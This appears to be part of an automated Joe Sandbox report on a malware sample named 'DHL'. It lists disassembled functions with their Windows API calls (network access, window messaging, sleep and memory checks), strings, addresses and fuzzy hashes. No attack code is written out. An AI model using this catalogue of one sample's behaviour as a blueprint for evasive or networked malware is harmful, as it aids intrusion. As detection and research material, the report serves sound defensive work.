WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00A14ED4

Strings

*, xrefs: 00A14E10
LPT, xrefs: 00A14DFB

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 99f4e1f5f776dbf5987afa5f8cb1bd8fa92de2fd57c68d7ef7b02c0d1a9bd921
Instruction ID: f80548cbe88d443d89fb14128176240e8d80e18416eded6081e2742f069be359
Opcode Fuzzy Hash: 99f4e1f5f776dbf5987afa5f8cb1bd8fa92de2fd57c68d7ef7b02c0d1a9bd921
Instruction Fuzzy Hash: 1C915075A002049FCB14DF58C494EEABBF5BF49714F198099E80A9F3A2D731ED86CB91

Function 009CE27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 009CE30D

Strings

pow, xrefs: 009CE2E5, 009CE302

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 96bda0bb87add24831af561b687bfd85ca7f8d54042b68246ee55e33543c127b
Instruction ID: 488a04d7b0ef8bf1fff289ee21884279b62b5587b6a8d81a58f77061dbbd2b30
Opcode Fuzzy Hash: 96bda0bb87add24831af561b687bfd85ca7f8d54042b68246ee55e33543c127b
Instruction Fuzzy Hash: 1B513A65E4C20296CB15B794C901B79BB9C9B80740F70CD5EE097423F9FB398C969A47

Function 009BE187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 009BE1B1

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 13741c53d11776e3223d2e13976ccf10bcaf9720cd5592046663e0c6d38bbb94
Instruction ID: 25efd1807bac005141d436ae728eaf122d7bb51996439fa8e18d69908fddcec5
Opcode Fuzzy Hash: 13741c53d11776e3223d2e13976ccf10bcaf9720cd5592046663e0c6d38bbb94
Instruction Fuzzy Hash: 8851277550424ADFDB15EF68C4816FA7BACEF55320F244069FDA19B2E0D7349D42CB90

Function 009BF291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 009BF2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 009BF2BB

Strings

@, xrefs: 009BF2AF

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: fbde3a83cc7d6a6eb049fc4a50d390edef7105d894e2c132730b17035497ce3c
Instruction ID: b80bd1aee69e15244750c029d73838e35d9e856ff2131b1fe1cfde79fa05f3b7
Opcode Fuzzy Hash: fbde3a83cc7d6a6eb049fc4a50d390edef7105d894e2c132730b17035497ce3c
Instruction Fuzzy Hash: B85123724087449BD320EF90DC86BABBBF8FBC5300F81885DF199411A5EB708529CBA6

Function 00A25745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 00A257E0
_wcslen.LIBCMT ref: 00A257EC

Strings

CALLARGARRAY, xrefs: 00A257E6, 00A257EB

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 3e5792e70f1b7ed3661c1ad223720d3d409f99526a65cf3ac16f32cd82144f86
Instruction ID: a104c5902993ff5fc13d7db1f9e575f78fea4de9e7f7a1b1b64a8700297f9451
Opcode Fuzzy Hash: 3e5792e70f1b7ed3661c1ad223720d3d409f99526a65cf3ac16f32cd82144f86
Instruction Fuzzy Hash: DE418C31E002199FCB04DFB8D9819AEBBB5FF99324F104029E505AB291E7749D81DBA0

Function 00A1D0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A1D130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00A1D13A

Strings

|, xrefs: 00A1D10B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: 34d388e1395a695c44cc224f6ff36ee341ffde5352bd43657828624880f8faa9
Instruction ID: b7e5bb55a4103953d2d819c7ed762d1f385eca872884e36c72e4e451c45178a3
Opcode Fuzzy Hash: 34d388e1395a695c44cc224f6ff36ee341ffde5352bd43657828624880f8faa9
Instruction Fuzzy Hash: CD312C71D00219ABCF15EFA4CC85AEEBFB9FF46340F100119F815A6161E735AA56CBA0

Function 00A3356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00A33621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00A3365C

Strings

static, xrefs: 00A335BC

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 63d26131754678ce826303457c1854080d88fe1f0d07524202d890b73ace21d0
Instruction ID: 3e5e987132a07192a9297b672b3bf816ddf884608968a1cdfe40690ec4363c6f
Opcode Fuzzy Hash: 63d26131754678ce826303457c1854080d88fe1f0d07524202d890b73ace21d0
Instruction Fuzzy Hash: 85318A72110204AEDB20DF68DC81ABB73A9FF88720F009619F8A5D7290DB34AD91C760

Function 00A34537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00A3461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00A34634

Strings

', xrefs: 00A3458E

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 250d6b12dc82b2501be352592b07f85176751ee94e30ad84159c49ed36936ea9
Instruction ID: 2384c2a73b4d2205a045e5f188d8578e789ebc88c6c89e1fd4b366492fe12dfc
Opcode Fuzzy Hash: 250d6b12dc82b2501be352592b07f85176751ee94e30ad84159c49ed36936ea9
Instruction Fuzzy Hash: E531F675E0130A9FDB14CFA9C991BDABBB5FF49300F14406AE905AB391E770A942CF90

Function 009A3923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 009E33A2

Part of subcall function 009A6B57: _wcslen.LIBCMT ref: 009A6B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 009A3A04

Strings

Line: , xrefs: 009E33EB

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 5c991897e0c9b630ded9f5716dbf5dafeab8353cb8067c34044cf945fa436310
Instruction ID: 49e6f69a71bb4c99fcaeca7c076f9311a28fb8d4e056423dc93294c44a1521d4
Opcode Fuzzy Hash: 5c991897e0c9b630ded9f5716dbf5dafeab8353cb8067c34044cf945fa436310
Instruction Fuzzy Hash: 8131CF71408300AED721EB64DC46FEBB7ECAB82710F00892AF59997191EF749A49C7D2

Function 00A331EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00A3327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A33287

Strings

Combobox, xrefs: 00A33249

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 22fb5defa2770195392bf05b30ef435df8cc673d850e1c3c656fb7475d5db51c
Instruction ID: c47fa2ff6280094f214adc997dea12446cf76f89dc2bd8add97355ab712ce3fa
Opcode Fuzzy Hash: 22fb5defa2770195392bf05b30ef435df8cc673d850e1c3c656fb7475d5db51c
Instruction Fuzzy Hash: 6911B2723042087FEF219F94DC81EFB376AEBA4364F104228F91897290D6759D518760

Function 00A33710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 009A600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 009A604C
Part of subcall function 009A600E: GetStockObject.GDI32(00000011), ref: 009A6060
Part of subcall function 009A600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 009A606A

GetWindowRect.USER32(00000000,?), ref: 00A3377A
GetSysColor.USER32(00000012), ref: 00A33794

Strings

static, xrefs: 00A33757

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 3003477b6ad8755bce8a89a4ad339d8826d36f1cdb784af2312fa5f4018785d1
Instruction ID: 39c8064547577dcc868bc20225281ffa12434062e6aa682204e4fe6083cd097f
Opcode Fuzzy Hash: 3003477b6ad8755bce8a89a4ad339d8826d36f1cdb784af2312fa5f4018785d1
Instruction Fuzzy Hash: 8A1126B2610209AFDF00DFA8CC46AFA7BB8FB08314F004915F956E2250E735E8619B60

Function 00A1CD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00A1CD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00A1CDA6

Strings

<local>, xrefs: 00A1CD66

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 9a4f2d6bb173b8c25598ad2353c54581c9362af1ee6a5a939d9d1eb2b2b93c57
Instruction ID: 3b42440c5410ce552d9f6ecb514cd9dd510dd036df3b014dafc38f43400fad8c
Opcode Fuzzy Hash: 9a4f2d6bb173b8c25598ad2353c54581c9362af1ee6a5a939d9d1eb2b2b93c57
Instruction Fuzzy Hash: FE11C2B1285631BAD7384B66AC49EE7BEACEF127B4F00422AB54993080D7749981D6F0

Function 00A33429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00A334AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00A334BA

Strings

edit, xrefs: 00A3348F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: f3abb889064e7e0e9a9711cd554e2f9dd7d6af8127b1d8be2da25b8dd5875303
Instruction ID: 809ed6003468ebb3bb883710c9bd07a65709ecc22c1e5748a21ba9fc26a87973
Opcode Fuzzy Hash: f3abb889064e7e0e9a9711cd554e2f9dd7d6af8127b1d8be2da25b8dd5875303
Instruction Fuzzy Hash: 29118C72104208ABEF228FA4DC85ABB37AAEB05775F504724F965A31E0C775DC919B60

Function 00A06C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

CharUpperBuffW.USER32(?,?,?), ref: 00A06CB6
_wcslen.LIBCMT ref: 00A06CC2

Strings

STOP, xrefs: 00A06CBC, 00A06CC1

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 5d2a2941342395a51e2e4fa4571b36f2ad75248f0d2b76b96020100f30c33fe4
Instruction ID: 3fdb008257f7d697029e6b65802f50aee82800f1630eed0fc864fbc86507a79d
Opcode Fuzzy Hash: 5d2a2941342395a51e2e4fa4571b36f2ad75248f0d2b76b96020100f30c33fe4
Instruction Fuzzy Hash: B101D632A0092A8BDB219FFDEC91ABF77B5FBA57187100529E852971D0EB31D960C690

Function 00A01CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

Part of subcall function 00A03CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00A03CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00A01D4C

Strings

ComboBox, xrefs: 00A01CEB
ListBox, xrefs: 00A01D16

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: f0b2d1cba6c8a3f888ec866e4ab2d910fdcca5ee5a7b3908d6fa0476a27b7a5a
Instruction ID: 39fc679fa66aca5bf8641f7a3f5c4929e5e82975cbd20c01a4c11487c309f367
Opcode Fuzzy Hash: f0b2d1cba6c8a3f888ec866e4ab2d910fdcca5ee5a7b3908d6fa0476a27b7a5a
Instruction Fuzzy Hash: 2001D471A0122CABCF08EBA4DD55DFE73B8FB47360B044A19F872672C1EA34590887A0

Function 00A01BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

Part of subcall function 00A03CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00A03CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00A01C46

Strings

ComboBox, xrefs: 00A01BE5
ListBox, xrefs: 00A01C10

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: da5960a6f3a691cee2351791971963654b918a56a5ab40f2f5eee7152a17e31c
Instruction ID: c956f6855cd5bc49e62afecb2a7636cee3ad3ad13f7c23e6ed91ed2a6f862ac2
Opcode Fuzzy Hash: da5960a6f3a691cee2351791971963654b918a56a5ab40f2f5eee7152a17e31c
Instruction Fuzzy Hash: 7301A775A8110C67DF08EBA0DE56AFF77B8AB52340F140019F416772C1EA24DE4C86B1

Function 00A01C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

Part of subcall function 00A03CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00A03CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00A01CC8

Strings

ComboBox, xrefs: 00A01C69
ListBox, xrefs: 00A01C94

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 337aef643935fd4b22d6627ac53a9f96eb6849e43ef66069999078f71aa738e4
Instruction ID: 37442ec40085f1f5e0a2a693d7587f03679ea828e1676a9684569f6a962b4fec
Opcode Fuzzy Hash: 337aef643935fd4b22d6627ac53a9f96eb6849e43ef66069999078f71aa738e4
Instruction Fuzzy Hash: 3601D671A8011C67EF04EBA4DF16AFE73BCAB12380F140415B806B32C1EA24DF19C6B1

Function 00A01D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

Part of subcall function 00A03CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00A03CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00A01DD3

Strings

ComboBox, xrefs: 00A01D75
ListBox, xrefs: 00A01DA0

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 16c6fbbf090ea223888c9d26b25335003f8d3e5a7062266b3f43b26ff83673e4
Instruction ID: 14f42d660c27e28ed3d146b6f1feb27893584e19502d611ec0be1e1e05d9ad27
Opcode Fuzzy Hash: 16c6fbbf090ea223888c9d26b25335003f8d3e5a7062266b3f43b26ff83673e4
Instruction Fuzzy Hash: ABF0AF71A4162866DB04E7A4DD56BFE77BCBB42390F040D19F866A72C1EA645A0882A0

Function 00A2747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A27493
_wcslen.LIBCMT ref: 00A274B9

Strings

3, 3, 16, 1, xrefs: 00A27483

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

